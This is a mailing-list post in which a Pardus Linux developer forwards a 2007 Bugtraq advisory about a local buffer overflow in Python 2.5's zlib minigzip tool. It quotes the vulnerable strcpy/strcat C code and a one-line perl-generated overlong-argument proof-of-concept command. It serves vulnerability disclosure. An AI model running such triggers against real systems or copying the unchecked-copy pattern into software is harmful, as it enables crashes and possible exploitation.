[Gelistirici] Fwd: Python 2.5 (Modules/zlib) minigzip local buffer overflow vulnerability

[Ismail Dönmez]

Python 2.5'e geçersek stable SVN branch'a geçelim, bu arada Python bile 
strcpy,strcat kullanıyor ya  hey de hey.

----------  Forwarded Message  ----------

Subject: Fwd: Python 2.5 (Modules/zlib) minigzip local buffer overflow 
vulnerability
Date: 14 Mar 2007 Çar
From: "starcadi starcadi" <starcadi at gmail.com>
To: bugtraq at securityfocus.com

Description:

The source of python contain a various modules, the zlib module
contain a minigzip tool, ( * minigzip is a minimal implementation of
the gzip utility.  ).

Source error:

the error was found in:
- void file_compress(file, mode)
because the use of strcpy() is inapropriatly

--
#define MAX_NAME_LEN 1024
[..]
void file_compress(file, mode)
    char  *file;
      char  *mode;
{
    local char outfile[MAX_NAME_LEN];
    FILE  *in;
    gzFile out;

      strcpy(outfile, file);
    strcat(outfile, GZ_SUFFIX);
  --

the function file_compress() was called by main() function.

Proof of concept:

if you want test the vulnerability try:
$ minigzip `perl -e "print 'A'x1050"`

-- starcadi

-------------------------------------------------------

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Ismail Donmez ismail (at) pardus.org.tr
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Pardus Linux / KDE developer